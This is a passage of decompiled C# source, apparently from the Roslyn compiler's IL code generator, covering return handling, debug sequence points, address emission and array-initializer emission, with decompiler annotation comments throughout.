_method.IsImplicitlyDeclared) + { + _builder.DefineInitialHiddenSequencePoint(); + } + try + { + EmitStatement(_boundBody); + if (_indirectReturnState == IndirectReturnState.Needed) + { + HandleReturn(); + } + if (!((BindingDiagnosticBag)_diagnostics).HasAnyErrors()) + { + _builder.Realize(); + } + } + catch (EmitCancelledException) + { + } + _synthesizedLocalOrdinals.Free(); + _expressionTemps?.Free(); + _savedSequencePoints?.Free(); + } + + private void HandleReturn() + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + _builder.MarkLabel(s_returnLabel); + if (_emitPdbSequencePoints && !_method.IsIterator && !_method.IsAsync && _methodBodySyntaxOpt is BlockSyntax blockSyntax) + { + SyntaxTree syntaxTree = blockSyntax.SyntaxTree; + SyntaxToken closeBraceToken = blockSyntax.CloseBraceToken; + EmitSequencePoint(syntaxTree, ((SyntaxToken)(ref closeBraceToken)).Span); + } + if (_returnTemp != null) + { + _builder.EmitLocalLoad(LazyReturnTemp); + _builder.EmitRet(false); + } + else + { + _builder.EmitRet(true); + } + _indirectReturnState = IndirectReturnState.Emitted; + } + + private void EmitTypeReferenceToken(ITypeReference symbol, SyntaxNode syntaxNode) + { + _builder.EmitToken((IReference)(object)symbol, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + } + + private void EmitSymbolToken(TypeSymbol symbol, SyntaxNode syntaxNode) + { + EmitTypeReferenceToken(((PEModuleBuilder)_module).Translate(symbol, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag), syntaxNode); + } + + private void EmitSymbolToken(MethodSymbol method, SyntaxNode syntaxNode, BoundArgListOperator optArgList, bool encodeAsRawDefinitionToken = false) + { + IMethodReference val = _module.Translate(method, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, optArgList, encodeAsRawDefinitionToken); + _builder.EmitToken((IReference)(object)val, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)(encodeAsRawDefinitionToken ? 1 : 0)); + } + + private void EmitSymbolToken(FieldSymbol symbol, SyntaxNode syntaxNode) + { + IFieldReference val = _module.Translate(symbol, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + _builder.EmitToken((IReference)(object)val, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + } + + private void EmitSignatureToken(FunctionPointerTypeSymbol symbol, SyntaxNode syntaxNode) + { + _builder.EmitToken(_module.Translate(symbol).Signature, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + + private void EmitSequencePointStatement(BoundSequencePoint node) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = node.Syntax; + if (_emitPdbSequencePoints) + { + if (syntax == null) + { + EmitHiddenSequencePoint(); + } + else + { + EmitSequencePoint(syntax); + } + } + BoundStatement statementOpt = node.StatementOpt; + int num = 0; + if (statementOpt != null) + { + num = EmitStatementAndCountInstructions(statementOpt); + } + if (num == 0 && syntax != null && (int)_ilEmitStyle == 0) + { + _builder.EmitOpCode(ILOpCode.Nop); + } + } + + private void EmitSequencePointStatement(BoundSequencePointWithSpan node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + TextSpan span = node.Span; + if (span != default(TextSpan) && _emitPdbSequencePoints) + { + EmitSequencePoint(node.SyntaxTree, span); + } + BoundStatement statementOpt = node.StatementOpt; + int num = 0; + if (statementOpt != null) + { + num = EmitStatementAndCountInstructions(statementOpt); + } + if (num == 0 && span != default(TextSpan) && (int)_ilEmitStyle == 0) + { + _builder.EmitOpCode(ILOpCode.Nop); + } + } + + private void EmitSavePreviousSequencePoint(BoundSavePreviousSequencePoint statement) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + if (!_emitPdbSequencePoints) + { + return; + } + ArrayBuilder seqPointsOpt = _builder.SeqPointsOpt; + if (seqPointsOpt == null) + { + return; + } + for (int num = seqPointsOpt.Count - 1; num >= 0; num--) + { + TextSpan span = seqPointsOpt[num].Span; + if (!(span == RawSequencePoint.HiddenSequencePointSpan)) + { + if (_savedSequencePoints == null) + { + _savedSequencePoints = PooledDictionary.GetInstance(); + } + ((Dictionary)(object)_savedSequencePoints).Add(statement.Identifier, span); + break; + } + } + } + + private void EmitRestorePreviousSequencePoint(BoundRestorePreviousSequencePoint node) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (_savedSequencePoints != null && ((Dictionary)(object)_savedSequencePoints).TryGetValue(node.Identifier, out TextSpan value)) + { + EmitStepThroughSequencePoint(node.Syntax.SyntaxTree, value); + } + } + + private void EmitStepThroughSequencePoint(BoundStepThroughSequencePoint node) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + EmitStepThroughSequencePoint(node.Syntax.SyntaxTree, node.Span); + } + + private void EmitStepThroughSequencePoint(SyntaxTree syntaxTree, TextSpan span) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if (_emitPdbSequencePoints) + { + object obj = new object(); + _builder.EmitConstantValue(ConstantValue.Create(true)); + _builder.EmitBranch(ILOpCode.Brtrue, obj, ILOpCode.Nop); + EmitSequencePoint(syntaxTree, span); + _builder.EmitOpCode(ILOpCode.Nop); + _builder.MarkLabel(obj); + EmitHiddenSequencePoint(); + } + } + + private void SetInitialDebugDocument() + { + if (_emitPdbSequencePoints && _methodBodySyntaxOpt != null) + { + _builder.SetInitialDebugDocument(_methodBodySyntaxOpt.SyntaxTree); + } + } + + private void EmitHiddenSequencePoint() + { + _builder.DefineHiddenSequencePoint(); + } + + private void EmitSequencePoint(SyntaxNode syntax) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + EmitSequencePoint(syntax.SyntaxTree, syntax.Span); + } + + private TextSpan EmitSequencePoint(SyntaxTree syntaxTree, TextSpan span) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + _builder.DefineSequencePoint(syntaxTree, span); + return span; + } + + private void AddExpressionTemp(LocalDefinition temp) + { + if (temp != null) + { + ArrayBuilder val = _expressionTemps; + if (val == null) + { + val = (_expressionTemps = ArrayBuilder.GetInstance()); + } + val.Add(temp); + } + } + + private void ReleaseExpressionTemps() + { + ArrayBuilder expressionTemps = _expressionTemps; + if (expressionTemps != null && expressionTemps.Count > 0) + { + for (int num = _expressionTemps.Count - 1; num >= 0; num--) + { + LocalDefinition temp = _expressionTemps[num]; + FreeTemp(temp); + } + _expressionTemps.Clear(); + } + } + + private LocalDefinition EmitAddress(BoundExpression expression, Binder.AddressKind addressKind) + { + //IL_0242: Unknown result type (might be due to invalid IL or missing references) + //IL_0247: Unknown result type (might be due to invalid IL or missing references) + //IL_0248: Unknown result type (might be due to invalid IL or missing references) + //IL_024a: Invalid comparison between Unknown and I4 + //IL_0257: Unknown result type (might be due to invalid IL or missing references) + //IL_0259: Invalid comparison between Unknown and I4 + switch (expression.Kind) + { + case BoundKind.RefValueOperator: + EmitRefValueAddress((BoundRefValueOperator)expression); + break; + case BoundKind.Local: + return EmitLocalAddress((BoundLocal)expression, addressKind); + case BoundKind.Dup: + return EmitDupAddress((BoundDup)expression, addressKind); + case BoundKind.ComplexConditionalReceiver: + EmitComplexConditionalReceiverAddress((BoundComplexConditionalReceiver)expression); + break; + case BoundKind.Parameter: + return EmitParameterAddress((BoundParameter)expression, addressKind); + case BoundKind.FieldAccess: + return EmitFieldAddress((BoundFieldAccess)expression, addressKind); + case BoundKind.ArrayAccess: + if (HasHome(expression, addressKind)) + { + EmitArrayElementAddress((BoundArrayAccess)expression, addressKind); + break; + } + goto default; + case BoundKind.ThisReference: + if (expression.Type.IsValueType) + { + if (HasHome(expression, addressKind)) + { + _builder.EmitLoadArgumentOpcode(0); + break; + } + goto default; + } + _builder.EmitLoadArgumentAddrOpcode(0); + break; + case BoundKind.PreviousSubmissionReference: + throw ExceptionUtilities.UnexpectedValue((object)expression.Kind); + case BoundKind.PassByCopy: + return EmitPassByCopyAddress((BoundPassByCopy)expression, addressKind); + case BoundKind.Sequence: + return EmitSequenceAddress((BoundSequence)expression, addressKind); + case BoundKind.PointerIndirectionOperator: + { + BoundExpression operand = ((BoundPointerIndirectionOperator)expression).Operand; + EmitExpression(operand, used: true); + break; + } + case BoundKind.PseudoVariable: + EmitPseudoVariableAddress((BoundPseudoVariable)expression); + break; + case BoundKind.Call: + { + BoundCall call = (BoundCall)expression; + if (UseCallResultAsAddress(call, addressKind)) + { + EmitCallExpression(call, UseKind.UsedAsAddress); + break; + } + goto default; + } + case BoundKind.FunctionPointerInvocation: + { + BoundFunctionPointerInvocation boundFunctionPointerInvocation = (BoundFunctionPointerInvocation)expression; + RefKind refKind = boundFunctionPointerInvocation.FunctionPointer.Signature.RefKind; + if ((int)refKind == 1 || (Binder.IsAnyReadOnly(addressKind) && (int)refKind == 3)) + { + EmitCalli(boundFunctionPointerInvocation, UseKind.UsedAsAddress); + break; + } + goto default; + } + case BoundKind.DefaultExpression: + { + TypeSymbol type = expression.Type; + LocalDefinition val = AllocateTemp(type, expression.Syntax, (LocalSlotConstraints)0); + _builder.EmitLocalAddress(val); + _builder.EmitOpCode(ILOpCode.Dup); + _builder.EmitOpCode(ILOpCode.Initobj); + EmitSymbolToken(type, expression.Syntax); + return val; + } + case BoundKind.ConditionalOperator: + if (HasHome(expression, addressKind)) + { + EmitConditionalOperatorAddress((BoundConditionalOperator)expression, addressKind); + break; + } + goto default; + case BoundKind.AssignmentOperator: + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)expression; + if (boundAssignmentOperator.IsRef && HasHome(boundAssignmentOperator, addressKind)) + { + EmitAssignmentExpression(boundAssignmentOperator, UseKind.UsedAsAddress); + break; + } + goto default; + } + case BoundKind.ThrowExpression: + EmitExpression(expression, used: true); + return null; + default: + return EmitAddressOfTempClone(expression); + case BoundKind.BaseReference: + case BoundKind.ConditionalReceiver: + break; + } + return null; + } + + private static bool UseCallResultAsAddress(BoundCall call, Binder.AddressKind addressKind) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + RefKind refKind = call.Method.RefKind; + if ((int)refKind != 1) + { + if (Binder.IsAnyReadOnly(addressKind)) + { + return (int)refKind == 3; + } + return false; + } + return true; + } + + private LocalDefinition EmitPassByCopyAddress(BoundPassByCopy passByCopyExpr, Binder.AddressKind addressKind) + { + if (passByCopyExpr.Expression is BoundSequence boundSequence && DigForValueLocal(boundSequence, boundSequence.Value) != null) + { + return EmitSequenceAddress(boundSequence, addressKind); + } + return EmitAddressOfTempClone(passByCopyExpr); + } + + private void EmitConditionalOperatorAddress(BoundConditionalOperator expr, Binder.AddressKind addressKind) + { + object dest = new object(); + object obj = new object(); + EmitCondBranch(expr.Condition, ref dest, sense: true); + AddExpressionTemp(EmitAddress(expr.Alternative, addressKind)); + _builder.EmitBranch(ILOpCode.Br, obj, ILOpCode.Nop); + _builder.AdjustStack(-1); + _builder.MarkLabel(dest); + AddExpressionTemp(EmitAddress(expr.Consequence, addressKind)); + _builder.MarkLabel(obj); + } + + private void EmitComplexConditionalReceiverAddress(BoundComplexConditionalReceiver expression) + { + TypeSymbol type = expression.Type; + object obj = new object(); + object obj2 = new object(); + EmitInitObj(type, used: true, expression.Syntax); + EmitBox(type, expression.Syntax); + _builder.EmitBranch(ILOpCode.Brtrue, obj, ILOpCode.Nop); + EmitAddress(expression.ReferenceTypeReceiver, Binder.AddressKind.ReadOnly); + _builder.EmitBranch(ILOpCode.Br, obj2, ILOpCode.Nop); + _builder.AdjustStack(-1); + _builder.MarkLabel(obj); + EmitReceiverRef(expression.ValueTypeReceiver, Binder.AddressKind.Constrained); + _builder.MarkLabel(obj2); + } + + private LocalDefinition EmitLocalAddress(BoundLocal localAccess, Binder.AddressKind addressKind) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + LocalSymbol localSymbol = localAccess.LocalSymbol; + if (!HasHome(localAccess, addressKind)) + { + return EmitAddressOfTempClone(localAccess); + } + if (IsStackLocal(localSymbol)) + { + if ((int)localSymbol.RefKind == 0) + { + throw ExceptionUtilities.UnexpectedValue((object)localSymbol.RefKind); + } + } + else + { + _builder.EmitLocalAddress(GetLocal(localAccess)); + } + return null; + } + + private LocalDefinition EmitDupAddress(BoundDup dup, Binder.AddressKind addressKind) + { + if (!HasHome(dup, addressKind)) + { + return EmitAddressOfTempClone(dup); + } + _builder.EmitOpCode(ILOpCode.Dup); + return null; + } + + private void EmitPseudoVariableAddress(BoundPseudoVariable expression) + { + EmitExpression(expression.EmitExpressions.GetAddress(expression), used: true); + } + + private void EmitRefValueAddress(BoundRefValueOperator refValue) + { + EmitExpression(refValue.Operand, used: true); + _builder.EmitOpCode(ILOpCode.Refanyval); + EmitSymbolToken(refValue.Type, refValue.Syntax); + } + + private LocalDefinition EmitAddressOfTempClone(BoundExpression expression) + { + EmitExpression(expression, used: true); + LocalDefinition val = AllocateTemp(expression.Type, expression.Syntax, (LocalSlotConstraints)0); + _builder.EmitLocalStore(val); + _builder.EmitLocalAddress(val); + return val; + } + + private LocalDefinition EmitSequenceAddress(BoundSequence sequence, Binder.AddressKind addressKind) + { + DefineAndRecordLocals(sequence); + EmitSideEffects(sequence); + LocalDefinition result = EmitAddress(sequence.Value, addressKind); + CloseScopeAndKeepLocals(sequence); + return result; + } + + private static LocalSymbol DigForValueLocal(BoundSequence topSequence, BoundExpression value) + { + switch (value.Kind) + { + case BoundKind.Local: + { + LocalSymbol localSymbol = ((BoundLocal)value).LocalSymbol; + if (topSequence.Locals.Contains(localSymbol)) + { + return localSymbol; + } + break; + } + case BoundKind.Sequence: + return DigForValueLocal(topSequence, ((BoundSequence)value).Value); + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)value; + if (!boundFieldAccess.FieldSymbol.IsStatic) + { + BoundExpression receiverOpt = boundFieldAccess.ReceiverOpt; + if (!receiverOpt.Type.IsReferenceType) + { + return DigForValueLocal(topSequence, receiverOpt); + } + } + break; + } + } + return null; + } + + private void EmitArrayIndices(ImmutableArray indices) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + for (int i = 0; i < indices.Length; i++) + { + BoundExpression boundExpression = indices[i]; + EmitExpression(boundExpression, used: true); + TreatLongsAsNative(boundExpression.Type.PrimitiveTypeCode); + } + } + + private void EmitArrayElementAddress(BoundArrayAccess arrayAccess, Binder.AddressKind addressKind) + { + EmitExpression(arrayAccess.Expression, used: true); + EmitArrayIndices(arrayAccess.Indices); + if (ShouldEmitReadOnlyPrefix(arrayAccess, addressKind)) + { + _builder.EmitOpCode(ILOpCode.Readonly); + } + if (((ArrayTypeSymbol)arrayAccess.Expression.Type).IsSZArray) + { + _builder.EmitOpCode(ILOpCode.Ldelema); + TypeSymbol type = arrayAccess.Type; + EmitSymbolToken(type, arrayAccess.Syntax); + } + else + { + _builder.EmitArrayElementAddress(_module.Translate((ArrayTypeSymbol)arrayAccess.Expression.Type), arrayAccess.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + } + + private bool ShouldEmitReadOnlyPrefix(BoundArrayAccess arrayAccess, Binder.AddressKind addressKind) + { + if (addressKind == Binder.AddressKind.Constrained) + { + return true; + } + if (!Binder.IsAnyReadOnly(addressKind)) + { + return false; + } + return !arrayAccess.Type.IsValueType; + } + + private LocalDefinition EmitFieldAddress(BoundFieldAccess fieldAccess, Binder.AddressKind addressKind) + { + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + if (!HasHome(fieldAccess, addressKind)) + { + return EmitAddressOfTempClone(fieldAccess); + } + if (fieldAccess.FieldSymbol.IsStatic) + { + EmitStaticFieldAddress(fieldSymbol, fieldAccess.Syntax); + return null; + } + return EmitInstanceFieldAddress(fieldAccess, addressKind); + } + + private void EmitStaticFieldAddress(FieldSymbol field, SyntaxNode syntaxNode) + { + _builder.EmitOpCode(ILOpCode.Ldsflda); + EmitSymbolToken(field, syntaxNode); + } + + private bool HasHome(BoundExpression expression, Binder.AddressKind addressKind) + { + return Binder.HasHome(expression, addressKind, _method, IsPeVerifyCompatEnabled(), _stackLocals); + } + + private LocalDefinition EmitParameterAddress(BoundParameter parameter, Binder.AddressKind addressKind) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + ParameterSymbol parameterSymbol = parameter.ParameterSymbol; + if (!HasHome(parameter, addressKind)) + { + return EmitAddressOfTempClone(parameter); + } + int num = ParameterSlot(parameter); + if ((int)parameterSymbol.RefKind == 0) + { + _builder.EmitLoadArgumentAddrOpcode(num); + } + else + { + _builder.EmitLoadArgumentOpcode(num); + } + return null; + } + + private LocalDefinition EmitReceiverRef(BoundExpression receiver, Binder.AddressKind addressKind) + { + TypeSymbol type = receiver.Type; + if (type.IsVerifierReference()) + { + EmitExpression(receiver, used: true); + return null; + } + if (BoxNonVerifierReferenceReceiver(type, addressKind)) + { + EmitExpression(receiver, used: true); + if (receiver.Kind != BoundKind.ConditionalReceiver) + { + EmitBox(receiver.Type, receiver.Syntax); + } + return null; + } + return EmitAddress(receiver, addressKind); + } + + private static bool BoxNonVerifierReferenceReceiver(TypeSymbol receiverType, Binder.AddressKind addressKind) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)receiverType.TypeKind == 11) + { + return addressKind != Binder.AddressKind.Constrained; + } + return false; + } + + private LocalDefinition EmitInstanceFieldAddress(BoundFieldAccess fieldAccess, Binder.AddressKind addressKind) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + LocalDefinition result = EmitReceiverRef(fieldAccess.ReceiverOpt, ((int)fieldSymbol.RefKind != 0) ? ((addressKind != Binder.AddressKind.ReadOnlyStrict) ? Binder.AddressKind.ReadOnly : addressKind) : ((addressKind != Binder.AddressKind.Constrained) ? addressKind : Binder.AddressKind.Writeable)); + _builder.EmitOpCode(((int)fieldSymbol.RefKind == 0) ? ILOpCode.Ldflda : ILOpCode.Ldfld); + EmitSymbolToken(fieldSymbol, fieldAccess.Syntax); + if (fieldSymbol.IsFixedSizeBuffer) + { + FieldSymbol fixedElementField = fieldSymbol.FixedImplementationType(_module).FixedElementField; + if ((object)fixedElementField != null) + { + _builder.EmitOpCode(ILOpCode.Ldflda); + EmitSymbolToken(fixedElementField, fieldAccess.Syntax); + } + } + return result; + } + + private void EmitArrayInitializers(ArrayTypeSymbol arrayType, BoundArrayInitialization inits) + { + ImmutableArray initializers = inits.Initializers; + ArrayInitializerStyle arrayInitializerStyle = ShouldEmitBlockInitializer(arrayType.ElementType, initializers); + if (arrayInitializerStyle == ArrayInitializerStyle.Element) + { + EmitElementInitializers(arrayType, initializers, includeConstants: true); + return; + } + ImmutableArray rawData = GetRawData(initializers); + _builder.EmitArrayBlockInitializer(rawData, inits.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + if (arrayInitializerStyle == ArrayInitializerStyle.Mixed) + { + EmitElementInitializers(arrayType, initializers, includeConstants: false); + } + } + + private void EmitElementInitializers(ArrayTypeSymbol arrayType, ImmutableArray inits, bool includeConstants) + { + if (!IsMultidimensionalInitializer(inits)) + { + EmitVectorElementInitializers(arrayType, inits, includeConstants); + } + else + { + EmitMultidimensionalElementInitializers(arrayType, inits, includeConstants); + } + } + + private void EmitVectorElementInitializers(ArrayTypeSymbol arrayType, ImmutableArray inits, bool includeConstants) + { + for (int i = 0; i < inits.Length; i++) + { + BoundExpression boundExpression = inits[i]; + if (ShouldEmitInitExpression(includeConstants, boundExpression)) + { + _builder.EmitOpCode(ILOpCode.Dup); + _builder.EmitIntConstant(i); + EmitExpression(boundExpression, used: true); + EmitVectorElementStore(arrayType, boundExpression.Syntax); + } + } + } + + private static bool ShouldEmitInitExpression(bool includeConstants, BoundExpression init) + { + if (init.IsDefaultValue()) + { + return false; + } + if (!includeConstants) + { + return init.ConstantValueOpt == (ConstantValue)null; + } + return true; + } + + private void EmitMultidimensionalElementInitializers(ArrayTypeSymbol arrayType, ImmutableArray inits, bool includeConstants) + { + ArrayBuilder val = new ArrayBuilder(); + for (int i = 0; i < inits.Length; i++) + { + ArrayBuilderExtensions.Push(val, new IndexDesc(i, ((BoundArrayInitialization)inits[i]).Initializers)); + EmitAllElementInitializersRecursive(arrayType, val, includeConstants); + } + } + + private void EmitAllElementInitializersRecursive(ArrayTypeSymbol arrayType, ArrayBuilder indices, bool includeConstants) + { + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray initializers = ArrayBuilderExtensions.Peek(indices).Initializers; + if (IsMultidimensionalInitializer(initializers)) + { + for (int i = 0; i < initializers.Length; i++) + { + ArrayBuilderExtensions.Push(indices, new IndexDesc(i, ((BoundArrayInitialization)initializers[i]).Initializers)); + EmitAllElementInitializersRecursive(arrayType, indices, includeConstants); + } + } + else + { + for (int j = 0; j < initializers.Length; j++) + { + BoundExpression boundExpression = initializers[j]; + if (ShouldEmitInitExpression(includeConstants, boundExpression)) + { + _builder.EmitOpCode(ILOpCode.Dup); + Enumerator enumerator = indices.GetEnumerator(); + while (enumerator.MoveNext()) + { + IndexDesc current = enumerator.Current; + _builder.EmitIntConstant(current.Index); + } + _builder.EmitIntConstant(j); + BoundExpression expression = initializers[j]; + EmitExpression(expression, used: true); + EmitArrayElementStore(arrayType, boundExpression.Syntax); + } + } + } + ArrayBuilderExtensions.Pop(indices); + } + + private static ConstantValue AsConstOrDefault(BoundExpression init) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + ConstantValue constantValueOpt = init.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null) + { + return constantValueOpt; + } + return ConstantValue.Default(init.Type.EnumUnderlyingTypeOrSelf().SpecialType); + } + + private ArrayInitializerStyle ShouldEmitBlockInitializer(TypeSymbol elementType, ImmutableArray inits) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (((CommonPEModuleBuilder)_module).IsEncDelta) + { + return ArrayInitializerStyle.Element; + } + if (elementType.IsEnumType()) + { + if (!EnableEnumArrayBlockInitialization) + { + return ArrayInitializerStyle.Element; + } + elementType = elementType.EnumUnderlyingTypeOrSelf(); + } + if (SpecialTypeExtensions.IsBlittable(elementType.SpecialType)) + { + if (((PEModuleBuilder)_module).GetInitArrayHelper() == null) + { + return ArrayInitializerStyle.Element; + } + int initCount = 0; + int constInits = 0; + InitializerCountRecursive(inits, ref initCount, ref constInits); + if (initCount > 2) + { + if (initCount == constInits) + { + return ArrayInitializerStyle.Block; + } + int num = Math.Max(3, initCount / 3); + if (constInits >= num) + { + return ArrayInitializerStyle.Mixed; + } + } + } + return ArrayInitializerStyle.Element; + } + + private void InitializerCountRecursive(ImmutableArray inits, ref int initCount, ref int constInits) + { + if (inits.Length == 0) + { + return; + } + ImmutableArray.Enumerator enumerator = inits.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current is BoundArrayInitialization boundArrayInitialization) + { + InitializerCountRecursive(boundArrayInitialization.Initializers, ref initCount, ref constInits); + } + else if (!current.IsDefaultValue()) + { + initCount++; + if (current.ConstantValueOpt != (ConstantValue)null) + { + constInits++; + } + } + } + } + + private ImmutableArray GetRawData(ImmutableArray initializers) + { + BlobBuilder blobBuilder = new BlobBuilder(initializers.Length * 4); + SerializeArrayRecursive(blobBuilder, initializers); + return blobBuilder.ToImmutableArray(); + } + + private void SerializeArrayRecursive(BlobBuilder bw, ImmutableArray inits) + { + if (inits.Length == 0) + { + return; + } + if (inits[0].Kind == BoundKind.ArrayInitialization) + { + ImmutableArray.Enumerator enumerator = inits.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + SerializeArrayRecursive(bw, ((BoundArrayInitialization)current).Initializers); + } + } + else + { + ImmutableArray.Enumerator enumerator = inits.GetEnumerator(); + while (enumerator.MoveNext()) + { + AsConstOrDefault(enumerator.Current).Serialize(bw); + } + } + } + + private static bool IsMultidimensionalInitializer(ImmutableArray inits) + { + if (inits.Length != 0) + { + return inits[0].Kind == BoundKind.ArrayInitialization; + } + return false; + } + + private bool TryEmitReadonlySpanAsBlobWrapper(NamedTypeSymbol spanType, BoundExpression wrappedExpression, bool used, BoundExpression inPlaceTarget, out bool avoidInPlace, BoundExpression? start = null, BoundExpression? length = null) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Invalid comparison between Unknown and I4 + //IL_0185: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Invalid comparison between Unknown and I4 + //IL_0294: Unknown result type (might be due to invalid IL or missing references) + if (start == null != (length == null)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/CodeGen/EmitArrayInitializer.cs", 438); + } + int num = -1; + avoidInPlace = false; + SpecialType val = (SpecialType)0; + if (((CommonPEModuleBuilder)_module).IsEncDelta) + { + return false; + } + MethodSymbol methodSymbol = (MethodSymbol)Binder.GetWellKnownTypeMember(((PEModuleBuilder)_module).Compilation, (WellKnownMember)403, _diagnostics, null, wrappedExpression.Syntax, isOptional: true); + if ((object)methodSymbol == null) + { + return false; + } + ImmutableArray data = default(ImmutableArray); + ArrayTypeSymbol arrayTypeSymbol = null; + TypeSymbol typeSymbol = null; + if (wrappedExpression is BoundArrayCreation boundArrayCreation) + { + arrayTypeSymbol = (ArrayTypeSymbol)boundArrayCreation.Type; + typeSymbol = arrayTypeSymbol.ElementType; + val = typeSymbol.EnumUnderlyingTypeOrSelf().SpecialType; + if (!IsTypeAllowedInBlobWrapper(val)) + { + return false; + } + num = TryGetRawDataForArrayInit(boundArrayCreation.InitializerOpt, out data); + } + if (num < 0) + { + return false; + } + int num2; + if (start != null) + { + ConstantValue? constantValueOpt = start.ConstantValueOpt; + if (constantValueOpt == null || !constantValueOpt.IsDefaultValue || (int)start.ConstantValueOpt.Discriminator != 6) + { + return false; + } + ConstantValue? constantValueOpt2 = length.ConstantValueOpt; + if (constantValueOpt2 == null || (int)constantValueOpt2.Discriminator != 6) + { + return false; + } + num2 = length.ConstantValueOpt.Int32Value; + if (num2 > num || num2 < 0) + { + return false; + } + } + else + { + num2 = num; + } + if (inPlaceTarget == null && !used) + { + return true; + } + if (num == 0) + { + if (inPlaceTarget != null) + { + EmitAddress(inPlaceTarget, Binder.AddressKind.Writeable); + _builder.EmitOpCode(ILOpCode.Initobj); + EmitSymbolToken(spanType, wrappedExpression.Syntax); + if (used) + { + EmitExpression(inPlaceTarget, used: true); + } + } + else + { + EmitDefaultValue(spanType, used, wrappedExpression.Syntax); + } + return true; + } + if (IsPeVerifyCompatEnabled()) + { + return false; + } + if (SpecialTypeExtensions.SizeInBytes(val) == 1) + { + if (inPlaceTarget != null) + { + EmitAddress(inPlaceTarget, Binder.AddressKind.Writeable); + } + IFieldReference fieldForData = _builder.module.GetFieldForData(data, (ushort)1, wrappedExpression.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + _builder.EmitOpCode(ILOpCode.Ldsflda); + _builder.EmitToken((IReference)(object)fieldForData, wrappedExpression.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + _builder.EmitIntConstant(num2); + if (inPlaceTarget != null) + { + _builder.EmitOpCode(ILOpCode.Call, -3); + } + else + { + _builder.EmitOpCode(ILOpCode.Newobj, -1); + } + EmitSymbolToken(methodSymbol.AsMember(spanType), wrappedExpression.Syntax, null); + if (inPlaceTarget != null && used) + { + EmitExpression(inPlaceTarget, used: true); + } + return true; + } + if (num2 != num) + { + return false; + } + if (inPlaceTarget != null) + { + avoidInPlace = true; + return false; + } + MethodSymbol methodSymbol2 = (MethodSymbol)Binder.GetWellKnownTypeMember(((PEModuleBuilder)_module).Compilation, (WellKnownMember)123, 